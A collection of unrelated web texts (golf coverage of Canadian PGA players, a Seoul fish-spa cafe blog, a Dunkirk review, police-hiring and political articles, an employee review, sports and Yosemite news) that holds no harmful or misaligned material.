ogey on the second hole and a bogey on the third. He started the day two shots behind leader Retief Goosen, and before he had teed off on the fourth hole, he was five shots back, dropped off the first page of the leaderboard and relegated to a role on the CBS broadcast that only saw him get camera time if he happened to walk into the frame while they were paying attention to one of his playing partners. Meanwhile, 2005 broke out on the leaderboard, with Goosen trading the lead with Sergio Garcia and, Vijay Singh (!) and Paul Casey (!!), among others.
DeLaet would manage some late birdies to threaten the lead, but ended up two shots out of a playoff. He has three second-place finishes, three third-place finishes and now 22 top 10s on Tour, but still lacks that win.
After his Saturday round, he was asked what the pressure was like “to have a whole country living and dying by your every shot hoping for you to replace Mike Weir?” If nothing else, it was a rather over-the-top way to phrase it. I would bet most of the country was unaware of DeLaet’s position in a routine February PGA stop, let alone near death on every shot.
DeLaet, to his credit, brushed off such nonsense. “What I feel more than pressure is I just feel support from the 35 million people north of the border,” he said. He said he would do all he can to try to bag a win for them on Sunday, though obviously that’s didn’t work out.
For DeLaet’s sake, one hopes those comments reflect his actual attitude about the pressure to be The Next One, since no one Canadian should think they are expected to be the next Weir, silly questions aside. One of the side benefits of the bumper crop of Canadians on Tour — six of them with full-time status this season, which as far as anyone can figure is a record — is that they should collectively share the burden of the home-country expectations a little. DeLaet doesn’t have to feel pressure to be the first Canadian since Weir to win a Tour event, for example, since Nick Taylor already did that last fall. Taylor, the 26-year-old from Abbotsford, B.C., won the Sanderson Farms Open in November in only his fifth PGA start, having graduated from the Web.com Tour at the end of its 2014 season.
Taylor presently holds the mantle as top Canadian in the young PGA Tour season, as the win pushed him into the top 30 in the FedEx Cup points race. But in addition to DeLaet, who despite injury troubles late last year has a top-10 finish at Phoenix to pair with his result at Riviera, David Hearn has flashed strong play this year, most recently with an opening 67-66 at Pebble Beach that had him poised for contention. A 71-70 weekend left him in a tie for 21st. Adam Hadwin had made three cuts and a bit of money in his rookie PGA season after winning twice on the Web.com Tour last year, and Roger Sloan, another rookie who graduated from the Web.com last year, has made it to the weekend three times. Sloan also wins the prize for self-deprecating Canadian-ness, having posted a blow-by-blow-by-blow account of his recent 11 on the 18th hole at Pebble Beach, which included three tee shots, two penalty strokes and three putts.
The one Canadian most struggling to look like the Mike Weir of old remains Weir himself, who has missed the cut in his four 2015 tournaments. When he was at his best, he really did carry the country’s hopes with him, with the odd assist from Stephen Ames, but this is a whole new kind of Canadian contingent. With this many capable pros on golf’s top circuit, it shouldn’t be rare when one takes a run at a title. It won’t likely become routine, but, at least, familiar.Seoul has many unique and wonderful cafes. This statement, as you surely know if you have visited many, is an understatement. We have been to coffee shops that house live sheep for the customers’ petting pleasure, treehouse cafes with high fort-style construction for booths, dog and cat cafes for when you’re missing your animals back home, and a plethora of other themes that will undoubtedly find a way to fill your needs.
One of our favorite and most peculiar establishments is Namu Geuneul, or “Dr. Fish.” For a paltry 3,000 won, a reluctant man washes your feet and escorts you to a trough of hungry minnows that have the singular job of feasting on human flesh if given the opportunity. The cafe is located in the famous and crowded Myeongdong shopping neighborhood in Seoul. This area is well known for the strange and unique cafes, restaurants, and clothing that Korea is so well known for!
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Myeongdong Namu Geuneul Cafe
Although we had been to Dr. Fish months ago with Ryan’s mom, we were anxious to return and make a video of this truly strange experience. We paid for our drinks and were told that the fish would be first. You must buy coffee or a dessert in order to also gain access to the Dr. Fish foot pool. We paid an additional 3,000 krw for the added Dr. Fish experience for twenty minutes. We plunged our toes into the warm water and they attacked!
Seriously though, it tickles like crazy at first. The swim around finding loose skin and nibbling away. It makes for a really funny and ultimately enjoyable experience once you get past the first few minutes of instinctual reactions to being eaten alive. We laughed and made funny faces when the horde would hit that spot between your third and fourth toes. The room with the fish tanks has many tables for enjoying your coffee and pastries, so there was a regular exchange of people watching mixed with gawking at the foreigners. We relaxed and enjoyed ourselves for the 20 minute limit before Captain Foot Scrub returned to give us a good post-cleaning-cleaning.
We donned our shoes once more and our order was delivered to our table. Due to a wonderful special, buying two drinks meant free Honey Bread, which is always a wonderful addition to a warm beverage. Their service is always pretty good, and everything they offer is almost guaranteed to satisfy. They have good coffee, pastries, beer, small sandwiches, coke (soda/cola/pop/carbonated beverage/whathaveyou), and of course: the fishes.
If you visit Namu Geuneul in Myeong-dong you’ll surely enjoy the experience as we have. There isn’t a lot of flair and drama about what is going on, just a straightforward niche cafe that serves its purpose well. When you arrive at the coffee shop floor, don’t be alarmed, they have another floor above where the fish are; the first level is just booths and magazines for a relaxing cup of coffee like any other cafe. Order your coffee and then say Dr. Fish. They’ll know what to do. If they ask you a bunch of question in Korea and you know as much of the language as we do, just keep saying “Dr. Fish” until they appear satisfied. We’re pretty sure that they’re probably asking if you want your coffee first, or your appointment with the doctor.
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Map and Directions:
We have updated our map so that this gem is easier to find. Our first time we found about 20 different websites claiming that they knew where Dr. Fish was, only to find it by chance on our own. We hope you guys get a chance to try this place out and that you enjoy it like we did. As a bonus, Myeong-dong is famous for its shopping, so this can easily become a full afternoon exploring the shops after the fish do their work on your feet.
Hit up Myeong-dong Station, Exit 8. Go up the street and it’s on the left-hand side across from the Skypark Hotel. Metal elevator, 5th floor.
Click here EDIT: We recently visited this location in September 2014, and it is no longer there! Sad day. However, there are foot spas in Myeongdong that do still offer Dr. Fish.for more information!
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Like this: Like Loading...“A man travels the world over in search of what he needs and returns home to find it.”
-George Moore, The Brook Kerith
Christopher Nolan is one of my favorite directors. He’s directed a few of my favorite films: The Dark Knight trilogy, Inception, Interstellar, the Prestige. I even somewhat named my son, Nolan Sterling Sage, after him (it’s actually a Batman reference since my 1st son’s name is Kal and we needed to start our own Justice League). When I first saw that teaser trailer for his upcoming World War II film project, I knew I had to see it. So I did.
Dunkirk is set in 1940, before America entered the war, and it centers around the events which took place in Dunkirk, France. A spearhead of Nazi forces separated the British Expeditionary Force from their French and Belgian allies, effectively trapping the British against the coast. The Germans formed a wall around the Allied forces but halted their advance upon them, lest the Allies break through. In the days that followed, British soldiers waited for ships to evacuate them across the English Channel, sometimes queuing for hours in chest deep water with home only 26 miles away.
The British were reluctant to send too many ships, though, in case they were needed for the defense of the British coast and indeed many ferrying vessels were sunk by German attack planes and torpedoes. As part of Operation Dynamo, the evacuation, the British eventually launched the “Dunkirk little ships”, private civilian-owned vessels commandeered as shuttles for the beleaguered soldiers. (spoilers: highlight to reveal) Though early estimates postulated that the British could only successfully save 30,000 to 40,000 men, with the frantic aid of the little ships they were able to rescue over 300,000.
This came to be known as the “Miracle of Dunkirk”, and indeed it truly was.
“On Sunday 2 June, the Dean of St Paul’s referred to the ‘miracle of Dunkirk’. During the following week papers were filled with letters from readers making an obvious association. It was remembered that the Archbishop of Canterbury had announced that the Day of National Prayer might well be a turning point, and it was obvious to many that God had answered the nation’s collective prayer with the ‘miracle of Dunkirk’. The evidence of God’s intervention was clear for those who wished to see it; papers had written of calm seas and the high mist which interfered with the accuracy of German bombers.”
–bbc.co.uk
I wasn’t versed in this particular area of World War II history, so a lot of the film was new ground for me, delightedly so. What a powerful moment in time to adapt to film! When we left the theater, one of my friends said: “Can Christopher Nolan just do a movie for every battle in history?” After Dunkirk was over, I returned to my abode excited to perform a little research in this area and it’s one of the great triumphs of the human spirit during the trying years of the Second World War, this “Dunkirk Spirit”.
The film is dedicated to all those whose lives were impacted by the events at Dunkirk.
Nolan takes great experimental strides in Dunkirk, even further than he had in the past, by toying with the structure of film. How accessible this film ends up being with casual summer moviegoers remains to be seen but audiences will always vote with their dollar. The film is organized into three separate plot threads which interweave at times, allowing us to see and re-see events from the perspectives of different characters. This three-form structure is apparently known as a triptych, a term typically referring to paintings with three panels or sections.
In the beginning of the film, we’re introduced to the characters and situations which will occupy each of the three threads. Dunkirk begins on land, part 1: the Mole. This will show us the predicament of the hundreds of thousands of soldiers stranded on the shore with nowhere to go, the Luftwaffe harassing them with bombs. We’re told that part 1: the Mole represents a week.
Part 2: the sea places us aboard one of the civilian ships sent out to rescue evacuees. Along the way they observe dogfights and the sinking of military vessels, and they rescue a shell-shocked soldier determined not to go back to Dunkirk. This second part represents a day.
Part 3: the air takes us to the skies with three British Spitfire pilots sent to provide air support for the Dunkirk operation. This third thread represents only an hour of time but it contains some of the movie’s most intense scenes. The dogfights are spectacular against the gray sea and the white sky, and there’s a real sense of immediacy to them as one of the pilots exceeds his fuel ration to try to take out a German bomber.
Dunkirk is pure Chris Nolan. It represents everything you see Nolan films for: all of his vision, his skill, his heart for realism, his devotion to practical effects, his sense of scale, even the characteristic “Nolan crescendo” involving a speech/monologue set to a rapid-fire of images and booming music is present here. Yes, that also means other “Nolanisms” are here: the dialogue is near impossible to understand and the sound editing ramps up the volume on the soundtrack to ear-shattering levels, but these are the characteristics Nolan is known and, in many cases, beloved for.
Prior to its release, I saw a lot of critics saying that Dunkirk was Nolan’s best film so far. I’ve learned by now to take mainstream journalistic hyperbole with an entire stick of salt, but I knew at the same time that I’d very likely love this film. While I can’t vouch for the now predictable statement “literally the Citizen Kane of our time” applied to Dunkirk willy-nilly, or to any film for that matter, I can vouch for the sheer quality of Nolan’s latest.
This is an example of a work created at the height of its creator’s skill and confidence. It’s as if Nolan has had every shackle removed, allowed to do whatever he wanted here. The result is a war film quite unlike any other, indeed a movie unlike any other, possessing powerful impact without gratuitous sentimentality, breathless pace without fatigue, and realism without tedium.
Dunkirk is an unorthodox moviegoing experience that you must see.
The 8-bit Review
Visuals: 10/10
Christopher Nolan has made more than a few films with fantasy elements but this is one with nothing supernatural or sci-fi about it at all. Still, the disorienting cinematography captures scenes in such a way as to aim for surrealism. This gives an otherwise intense and gritty film a kind of dreamlike quality. In a lot of ways, Dunkirk reminds me of Stanley Kubrick’s work. Kubrick was a renown perfectionist and he often employed shots where everything is lined up perfectly, such as no perspective in real life typically yields. Nolan seems to have caught on to that a bit in Dunkirk. Some scenes are so perfectly realized so as to be “more” than real, surreal.
There are so many memorable images in Dunkirk. It’s a film of isolated images, of scenes over narrative, making it seem like a moving painting rather than a blockbuster released in July. The scene of a pilot standing in front of a burning aircraft in the twilight is unforgettable. Its color contrast, its peace, its stillness, its violence, its angle sears it into the memory. Another one of the incredible sequences in the film, and there are several, sees a wall of water rising as this ship begins to sink, only the water passes from the left of the screen to the right since the ship is capsizing. Its strangeness makes it even more horrifying than watching people drowning.
Dunkirk benefits from loyalty to practical effects over computer generated imagery. An additional layer of realism was created through using real boats and planes that were from the era. The Spitfires you see through the dogfights, some of the best in the history of cinema, are real planes. There’s an instinctual connection to this film because of these efforts which makes all of the action and explosions much more impactful than if we were merely watching a “CGI-fest”. CGI-fatigue is a rising problem in audience reactions to modern films but I’m happy to report there’s none of that in Dunkirk.
Audio: 10/10
Hans Zimmer returns to collaborate with Nolan for yet another dissonant, percussive, apocalyptic soundtrack. The score is as focused and perfected as the visuals, centered around the motif of a watch’s second hand ticking. What would otherwise be a repetitive and incessant noise is used in Dunkirk to audibly underscore the dire situation of the British soldiers stuck waiting for the next ship on the horizon, knowing the enemy could come for them at any moment. With three timelines threaded throughout the film, this deliberate choice to evoke the passing of time and impatience musically is a stroke of obvious genius. It’s its own kind of exposition in a film with little spoken dialogue.
Nolan described the constant crescendo of the score as influenced by the structure of the film and their relation:
“I interwove the three timelines in such a way that there’s a continual feeling of intensity. Increasing intensity. So I wanted to build the music on similar mathematical principals. So there’s a fusion of music and sound effects and picture that we’ve never been able to achieve before.”
This director is clearly aware of the perception of his films being a part of their storytelling processes.
Narrative: 7/10
In the hands of less proficient filmmakers, this movie could have very easily have been a boring mess with repetitive scenes and a confusing layout. That the film engages at all is mystifying considering these extra challenges for the audience. How many movies that mess around with typical linear storytelling structures turn out to be as accessible and captivating? Instead, the triptych structure of a week on the beach, a day on the Channel, and an hour in the air in Dunkirk allows the film to feel like a sequence of images and moments but not truly tied together by narrative, much like the way in which we remember our own dreams. The movie opens as if in the middle of a story and it ends without true closure. Everything in between runs at a frantic, relentless pace. This was, after all, only a small part of World War II.
Even the characters (who are fiction, not historical figures) are just passing faces. Many of them are never even named. If or when they die, they’re swallowed up by the great horror of war. They’re human but at the same time they’re merely faces, and we expect them to die in the war, and that adds to the sadness. They are, as one character put it, “our children” sent off to fight the war but their families know their names. We don’t, and that’s all.
In this manner, there are no real leading actors, no protagonists (since the resolution of the story is equally meaningful to all the British soldiers), though there are several characters we see the events through. This is the classic sense of the word “epic” where a huge cast is employed, playing out over a historical sequence, without definite “heroes”, in the Hollywood sense. What you do get are characters which feel intensely real, almost archetypal, but you feel you can be sure they must’ve existed.
Nolan described it thusly:
“…I realized my driving force wasn’t just to get away from artifice but the very types of artifice I myself had been using, to try and force myself into a new direction. So doing this story – no, I didn’t want to have any scenes of old generals looking at maps, or any 28-year-olds cast as teenagers. But I also didn’t want the conventional theatrics of giving everyone a backstory, and some quiet scene where they could relive it, and talk about themselves, and how they felt. I wanted a very lean, stripped-down approach where your empathetic response is based on the really unique thing that movies have – where you can empathize with a character very, very quickly. I wanted there to be an immediate, visceral connection.”
So though we know the outcome of the film, or we could easily find out by seeking any source on history, its the playing out of each of these human lives in one great drama that provides the sense of tension and thrill we seek when we pay good money to watch a movie. We might’ve already known how things turn out in the end, but watching proven actors portray palpable human suffering and survival is what drives Dunkirk forward and makes it interesting beyond the special effects. It’s respect for the dignity and value of human life sets it apart, right down to the scene where a commanding officer decides his fate by risking his life to save the French soldiers left behind. Without the bagging of back stories and even much in the way of character development, this is a streamlined film.
Themes: 10/10
Nolan described Dunkirk as less a war film than a movie about survival, a suspense film. Really, WWII is irrelevant beyond setting up the situation facing the British soldiers at Dunkirk. There’s very little fighting or exchange of gunfire. Most of the film feels like a disaster film with desperate survivors clinging on for dear life.
Contributing to this is the fact that the film never shows the Nazis. Not explicitly. You know they’re there and you catch glimpses of them out of focus in the third act, but all you get for a sense of their presence are bullets viciously tearing through walls and bodies. I found the sound design for the Nazi gunfire evocative of animal noises. There’s a kind of bestial savagery to the violence of bullets ripping apart metal and wood and brick and flesh. It’s a fascinatingly fresh way to portray the villains of history without humanizing them in any way.
Dunkirk represents the first time that Christopher Nolan adapted a real historical event. 97-year-old veteran of the Battle of Dunkirk, Ken Sturdy, saw the film and wept:
“I had the privilege of seeing that film tonight and I am saddened by it because of what happened on that beach. It didn’t have a lot of dialogue. It didn’t need any of the dialogue because it told the story visually and it was so real. I never thought I would see that again. It was just like I was there again. I was 20 when that happened, but watching the movie, I could see my old friends again and a lot of them died later in the war… Don’t just go to the movie for entertainment. Think about it. And when you become adults, keep thinking. Tonight I cried because it’s never the end… We the human species are so intelligent and we do such astonishing things. We can fly to the moon but we still do stupid things. So when I see the film tonight, I see it with a certain kind of sadness. Because what happened back then in 1940, it’s not the end.”
When I reached the end of the movie, I had a familiar sensation bubbling up within my mind. What was that even about? At first glance, the seeming senselessness of the violence and the tragedy of so many young lives lost without fanfare can make the film seem pointless, and yet, is that perhaps its point? War is ugly. I appreciate that Dunkirk remembers that. There’s no glamorization of it here. Yes, there are heroes, silent, unsung heroes, but they’re ordinary men of flesh and blood, not exalted saints or untouchable knights. They’re simple people who did what they knew to be right. They’re the soldiers who stood against evil Nazism and prevented the war from succumbing to that putrid ideology. Against the awful face of a world-consuming war, these small lights shone but briefly. Of course their suffering was not senseless. Who knows where we would be today without them?
It’s a thought-provoking film but Dunkirk asks no questions. It doesn’t need to.
Family Friendliness: 8/10
Dunkirk is rated PG-13 and not R here in the states. It’s far less gory of a war film than many others in the history of cinema. There is plenty of violence seen in the film and a few F-words used, but on the whole it’s far from a gratuitous movie. It doesn’t revel in a kind of stylized hyper-violence such as has infected nearly every avenue of entertainment. Its power is in its historicity and realness. For that, so what’s past is never forgotten, I actually highly suggest you bring your children to see this film. Not so very young that they won’t know what’s going on, but this is a great movie to educate the younger generation.
Cast: 9/10
This director is famous for working with his “Nolan crew”, a select few actors who make recurring appearances in his body of work. Expect to see Cillian Murphy and Tom Hardy (who is, amusingly, still stuck behind a mask for almost the whole movie, even after playing Bane in The Dark Knight Rises). AND don’t forget there’s a Michael Caine cameo tucked in here! Don’t look for it. Listen for it.
Dunkirk benefits from extremely believable performances, spearheaded by Mark Rylance and Kenneth Branagh. Some younger talent includes Fionn Whitehead, Harry Styles, Aneurin Barnard, and Barry Keoghan.
As solid and respectable as every performance is, it didn’t seem to me that there was any stand out performance (maybe Hardy’s or Murphy’s), as many of these characters seem to simply exist. Murphy and Rylance have some intense exchanges of dialogue together, Keoghan gives a pitiable speech, and Hardy’s character shows some real weight of emotion at the last, but there’s no one performance that moved me to tears or passion or fear. Whitehead most closely resembles a point of view character but he’s not pushed through the gamut of Hollywood emotions like we’d normally expect from a lead. This film seems to benefit from that, since again there are not so much characters in this film as there is this intense situation in which people suffered.
Uniqueness: 10/10
Actor Cillian Murphy, who plays a nameless soldier, said of the film:
“What first struck me about Dunkirk was that it wasn’t an American war movie, which so many of the great movies about war have been. If you were making a list of great modern war movies, I can’t think of a British film over the last 30 or 40 years that you would necessarily place on it. So, I think this appealed to Chris as a filmmaker because he recognised something in this story that was hugely unique and that audiences wouldn’t necessarily have seen before.”
My Personal Grade: 9/10
Dunkirk cares more about how you feel while you watch it than what you think about it as its happening. It’s a transportive film, the kind you relate to at a gut level. Its relentlessness teeters just at the brink of being exhausting without plunging into that abyss. It’s hard to describe and it was even harder to write this review because of it. Actually, this is one of the hardest reviews I’ve written on this blog, and there’s so much more that I feel I want to say about Dunkirk that I cannot find the words for.
Unorthodox in its presentation but nowhere near as confusing as I thought it was going to be when it started setting up its three timelines in its opening scenes. Once again, Nolan has created another masterpiece in a new genre for him. This film made me very excited to see what he’ll turn out next.
Aggregated Score: 9.1
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Claire Bernish
July 29, 2015
(ANTIMEDIA) Methuen, Massachusetts — If you doubt the veracity of law enforcement officers being above the law, look no further than the Methuen Police Department. Job applicants who said they’d never arrest a fellow officer for drunk driving were given bonus points—and interviewers knocked points off for those who would.
The Massachusetts Civil Service Division found the department was using an application question meant to separate and reward honest cops in its own inventive way—by rewarding dishonesty, instead. In fact, the department admitted as much.
Methuen presented applicants with a scenario in which they arrive at the scene of a crash where the driver appeared to be intoxicated. They were asked how they would respond if the driver were an officer from neighboring town or a family member. Obviously, the answer is designed to ferret out candidates who would show bias, but Methuen was apparently actively seeking that exact quality for their force—those who said they wouldn’t arrest friends or family had their files noted: “knows discretion.”
Christopher C. Bowman, who chairs the Civil Service Commission, said, “Some of the interview panelists actually heaped high praise on those candidates who stated that they would arrest a stranger but not arrest a friend or family member based on the same facts, citing their understanding of ‘discretion.’”
In a decision on July 9, Bowman said “the City turned the interview process upside down. There is simply no valid basis to award the highest points to candidates who express a willingness to apply one set of rules to strangers and another set of rules to friends and family members.”
Though the mayor of Methuen vowed to review police hiring practices, there was no indication that either the bias-loving panelists or the dishonest hires would face increased scrutiny.
It makes you wonder how many other police departments use such questions the same way—and if perhaps that was the point of the question all along.
This article (Dishonest? Biased? This Police Dept Wants to Hire You) is free and open source. You have permission to republish this article under a Creative Commons license with attribution to Claire Bernish and theAntiMedia.org. Anti-Media Radio airs weeknights at 11pm Eastern/8pm Pacific. If you spot a typo, email edits@theantimedia.org.
Claire Bernish joined Anti-Media as an independent journalist in May of 2015. Her topics of interest include social justice, police brutality, exposing the truth behind propaganda, and general government accountability. Born in North Carolina, she now lives in Ohio. Learn more about Bernish here!
Pin 2K SharesCons
There is a lot of dead weight here. People are NOT held accountable for poor performance, lack of knowledge or wasting of money. In my position, we do not have enough staff to support the workload, although they continue to jam a ton of work down our throats without any thought or care.
We get contactors here and there and ESRI makes it very hard to roll them into a full a time job. We have lost some amazingly talented contractors because of how HR and MGT deals with onboarding. Oddly enough, this will depend on the dept and building you work in. There is a ton of drama and re-orgs happening around here. Oh and their favorite word seems to be "value add", however those words are meaningless if you are a manager.
We are seeing a lot of employees with 5-15 years, leaving the company. You will see HR on glassdoor run interference with replies when it comes to supporting career growth. The truth is, you may get a title, but you will NOT be paid accordingly. How is that supporting career growth? Its complete and utter BS.
Communication with HR and MGT is poor, to say the least. Most people end up doing a job they do not want and absorb more reponsibily without compensation. I too have been a victim of a position change that stalled and went no where, without any explanation no matter how many times i have asked. For that very reason, i have begun sending my resume out and will be getting out of here.
Employeees are required to work 45 hrs a week. That 5 hrs is not time and a half, nor is any overtime time and a half. How they have been getting away with this, is beyond me. Class action anyone? There is also a most elite culture here because they are tied to academia through the Unv of Redlands.
The reality of ESRI culture is that its a huge liberal bubble over the city of Redlands with crazy speak of climate change, anti conservative views and politically hidden agendas. The company does very little for employees here and slaps the success of the business in our faces by donating 150+ million dollars for a nature reserve under the owners names, not under the company name. I guess they forget where the success has originated from, but hey, that's liberals for you.
Employees are not given anything back for the success of the business, yet ESRI cant figure out why people are leaving... Interestingly enough, for the amount of tech at this location, the pay is about 30% below market value for being in the deadlands.
There is way too many re-orgs, position changes and just utter drama between medium to upper level management. HR is there in the interest of the business. Oh and before i forget, those of you who will be going through the hiring process here, enjoy your full day of interviews with meaningless managers who are totally irrelevent of what you're going to be hired for.
13 interviews are common, with a stop by the corporate office for your last interview if you're successful. There are a lot of unprofessional managers here, with the majority being found with the M, Q and L buildings. Currently, there is too much drama occurring with the L building itself with a huge shakeup on level 3.Make no mistake: When it comes to economics, Rep. Michele Bachmann (R-MN) knows her history — even if that history is from another planet.
On Monday night, our friends at Dump Bachmann reported, Bachmann took to the House floor and paid tribute to the economic policies of Calvin Coolidge and the “Roaring 20s” (the era that ended with a massive monetary contraction and the Great Depression). One particular line really does stand out, though — saying Franklin Roosevelt turned a recession into a depression through the “Hoot-Smalley” tariffs:
Here’s what really happened: When Franklin Roosevelt took office, unemployment was already about 25%. And the tariff referred to here was actually the Smoot-Hawley bill, co-authored by Republicans Sen. Reed Smoot of Utah and Rep. Willis Hawley of Oregon, and signed into law by President Herbert Hoover.
Interestingly, this speech also happened on the same day as when Bachmann connected the 1970s swine flu outbreak to Democrat Jimmy Carter being president, even though it was actually Gerald Ford in office at the time.
Late Update: A shout-out to Liberal in the Land of Conservative for also noticing Bachmann’s false attribution of the tariff bill to Roosevelt — and also to Matt Yglesias for pointing to the metaphysical possibilities.Ruy Teixeira (pronounced Tush-aira) and I have been friends since the early 1970s when we were members of a socialist group, the New American Movement, that was supposed to perpetuate the saner parts of the new left. (It merged later with the Democratic Socialist Organizing Committee to form the Democratic Socialists of America.) I didn’t see him for 15 years or so until we both turned up in Washington, D.C. In 2001, we co-authored “The Emerging Democratic Majority.” Radio and television producers would sometimes call me to do interviews because, one TV person explained, they wanted someone who could speak English clearly. In fact, Ruy, the son of a Portuguese diplomat, was born and raised in Silver Spring. Ruy has worked with various think tanks in Washington and most recently has been a fellow at the Center for American Progress. His new book is titled “The Optimistic Leftist: Why the 21st Century will be Better Than You Think.” It’s a potentially tough subject, but Ruy writes clearly and persuasively, and it’s surprisingly easy to read. As readers will note from this interview, I don’t quite share Ruy’s optimism, but I certainly hope that he is right.
Judis: In your book, you explain at several points that you are no longer a socialist and instead support a reformed capitalism. When we met many years ago, we were in a socialist organization. When did this transformation occur?
Teixeira: What happened is that I began to think a lot about how economies actually work. When I was a socialist, I didn’t think very carefully and long about what actually a socialist economy would look like. I had this general idea that the capitalist system was inefficient and prone to crisis and that one should somehow tamp down the profit motive and limit the freedom of action of capitalists. But the more I thought about how economies worked, it was hard to gainsay that the market was absolutely essential for the efficient delivery of goods and services. And the more I read, the more I realized my viewpoint was closer to social democrats than to socialists. Capitalism needs to be regulated, it needs to be pointed in the right direction, you need to have a big safety net, but you can’t replace it.
Judis: Was there something that happened, a book you read, that changed your mind?
Teixeira: I would say it was an obscure book by Alec Nove called “The Economics of Feasible Socialism.”
Judis: That’s amazing. I was deeply influenced by the same book.
Teixeira: Nove was a historian of the Soviet Union. He came from a Menshevik family, and he basically laid out the way the standard conceptions of socialism that a lot of people on the left had couldn’t work. If you wanted to think rationally about what’s feasible, the way economies and people tend to work, you had to have a market.
The goal as I see it is a mixed economy that works as well as possible, and of course you have not gotten that in the West for the last several decades. The mixed economy just needs improvement and modification.
Judis: And what kind of improvements would that be?
Teixeira; I favor what economists are calling a model of equitable growth. It would mean substantial government investment in creating new opportunities for the middle and aspirational classes. It could include a dramatic expansion of the educational system and a Manhattan-style investment in bringing down the price of clean energy and building the infrastructure to match. Granted, these kind of proposals would not get through Congress now, but it is the kind of agenda that I am optimistic that the Democrats will endorse and that the country will eventually embrace.
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THxLibrary will cater to a single individual or small group at a time, customizing their inspirational experience. Guests will be asked to provide an application detailing their purpose for the visit as well as desired outcome. An example scenario is an aspiring film composer wants to study the melodies of vintage records and compare them to modern film scores. They can browse the collection of relevant material online and specify which materials they feel will benefit their purpose in their application. Sessions will range from two or more hours, depending on the need and merit of the guest’s application. Guests will have access to all books, magazines, records, films available. Anyone will be able to apply, however, THxLibrary aims to attract productive autodidacts and focused entrepreneurial spirits. THxLibrary will also be home to various creative studios especially for applicants developing their own business or project in need of specific resources to continue their development. An example is an aspiring belly dance instructor applies to record a promotional video. She has already choreographed her debut performance but needs the proper equipment, costume and location to film a promo video for her website. THxLibrary will offer all relevant resources at its disposal and help her develop her desired vision.
In addition to the studios, here are some other types of assistance THxLibrary will offer:
Creative Software Subscriptions
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Creating your own world to exist in may seem selfish, but realize we love others more when we love ourselves. Understand that gratitude for that love keeps Earth in rotation. So when one discovers their purpose, more than likely, they will want to share the love they have for it with the rest of us. Although one’s purpose may not appeal to everyone, their love and confidence in it still inspires. The purpose of discovering your purpose is to experience the freedom in sharing it. Become a beneficial contribution in this interconnected dimension of celestial beings so we can all experience the peace in freedom at our current planetary home.Reading Time: 2 minutes
The Chinese Basketball Association (CBA) finals would not be normal without some sort of fight. The league is notorious for its “don’t hold me back” moments. But this year, they might have taken it too far.
The Sichuan Blue Whales hosted the Liaoning Leopards for game 3 of the 2016 CBA finals on Wednesday night where they took a 2-1 series lead beating the visiting Leopards by a score of 109-104. The game was over, but the drama was just getting started.
As the Liaoning Leopards got on the bus and headed back to the hotel, they were “welcomed” by an army of Sichuan fans. As the team got off the bus, a guy in a red jacket started yelling at the crowd trying to knock phones out of people’s hands. That’s when all hell broke loose.
There are various reports out of China that give answers to the question “why?”.
First rumor: Liaoning PG Guo Ailun shoved a Sichuan fan after the game, so that fan rushed to the hotel to meet him there. That fan saw the starting point guard’s parents and attempted to shove them like their son allegedly did to him/them. When the parents notified the team, players got off the bus seeking revenge..
Second rumor: While this might be very true, it doesn’t really answer the question “why did the fight happen in the first place?”. Liaoning team officials requested security at the hotel. This is a very normal request in China, especially in Xinjiang where Stephon Marbury was once attacked. Sichuan officials failed to meet Liaoning’s request causing an overflow of Sichuan fans waiting at the hotel. Once the guy in the red jacket (Liaoning guy) starting going crazy, it ignited the rage and all hell broke loose.
In the CBA rule book, a section is dedicated for this type of event. It reads:
Chapter II, Article 10: During the season, if a competition venue disturbs the players by assaulting and other serious violations of law by the public security and judicial process whether it’s other athletes or other persons, the organizers will be given, depending on the seriousness of the event, a suspension of 8-10 games, in serious cases, cancel the season altogether.
Chapter III, Article 11: If a member of the coaching staff or the club perform a misconduct, given its reprimand, there will be a suspension of 2-5 games and a fine of 2-5 million RMB.
So this means the Blue Whales could most likely lose the championship, according to the rules. But since these rules were written by the CBA, and knowing their track record, nothing will really come of this.
The show must go on.The Calgary Flames will have three prospects attending the 2016 U.S. National Junior Evaluation Camp, being held from July 30 to August 6 in Plymouth, MI.
Winger Matthew Tkachuk, goaltender Tyler Parsons and defenceman Adam Fox have been invited to the camp, which is a part of the evaluation process for USA Hockey as they prepare to select a roster for the 2017 IIHF World Junior Championship.
The camp features games between Canada, Finland, Sweden and the United States, all taking place at the USA Hockey Arena in Plymouth.
Tkachuk was the sixth overall selection in the 2016 NHL Draft. The winger spent the 2015-16 campaign with the London Knights of the Ontario Hockey League, scoring 30 goals and 107 points in 57 regular season games and amassing 20 goals and 40 points in 18 playoff contests. London won the J. Ross Robertson Cup after they swept the Niagara IceDogs in the OHL Final.
Tkachuk and the Knights also captured the 2016 Memorial Cup earlier this year. Tkachuk scored twice in the final, including the game-winning goal, in their 3-2 overtime win over the Rouyn-Noranda Huskies.
The 18-year-old won bronze with the USA at the 2016 IIHF World Junior Championship, scoring four goals and 11 points in seven games. He has also represented USA Hockey at the 2015 IIHF World U18 Championship and 2014 World U-17 Hockey Challenge, capturing gold in both tournaments.
Like Tkachuk, Parsons is a member of the London Knights. He played a key role in the Knights dominant season, posting a 37-9-3 record in the regular season a 2.33 GAA and a.921 save percentage. In the playoffs, he went 16-1-1 with a 2.15 GAA and a.925 save percentage.
Prior to joining the Knights in the 2014-15 season, Parsons spent three seasons with the Little Caesars program in the High Performance Hockey League, a league comprised of six high-profile AAA hockey organizations in the central United States.
Fox was the Flames' third round pick in this year's draft and is coming off a historic performance with the U.S. National Development Program in the 2015-16 campaign; the Jericho, NY product set the program's single-season record for points by a defenceman with 59 points in 64 games.
Fox played for the USA at the 2016 World U18 Championships, leading all blueliners in scoring with nine points in seven skates and was named the tournament's top defenceman.
The 18-year-old will begin his collegiate career with Harvard this fall.
The 2017 IIHF World Junior Championship is being held in Montreal, QC and Toronto, ON and features 31 games between 10 countries. The tournament begins in December.CLOSE Footage of the "Firefall" phenomenon at Yosemite. Captured on the iPhone of Suhas Harihar and posted on his Instagram (@sos_1878) USA TODAY
In this Feb. 16, 2010, file photo, a shaft of sunlight creates a glow near Horsetail Fall, in Yosemite National Park, Calif. (Photo: Eric Paul Zamora, AP)
The "firefall" phenomenon at California’s Yosemite National Park is back.
In mid-February each year, the sun hits the Horsetail Fall at just the right angle to create an illusion that looks like lava flowing off the side of the cliff instead of water.
The firefall only lasts for a few minutes at sunset, and draws hundreds of visitors hoping to capture an out-of-this-world shot.
Photographer Sangeeta Dey posted a picture of the natural phenomenon on Instagram.
"This year, I feel fortunate to have been one of the firsts to witness it," Dey said in a post. "In fact, I just drove back home after seeing this unforgettable moment."
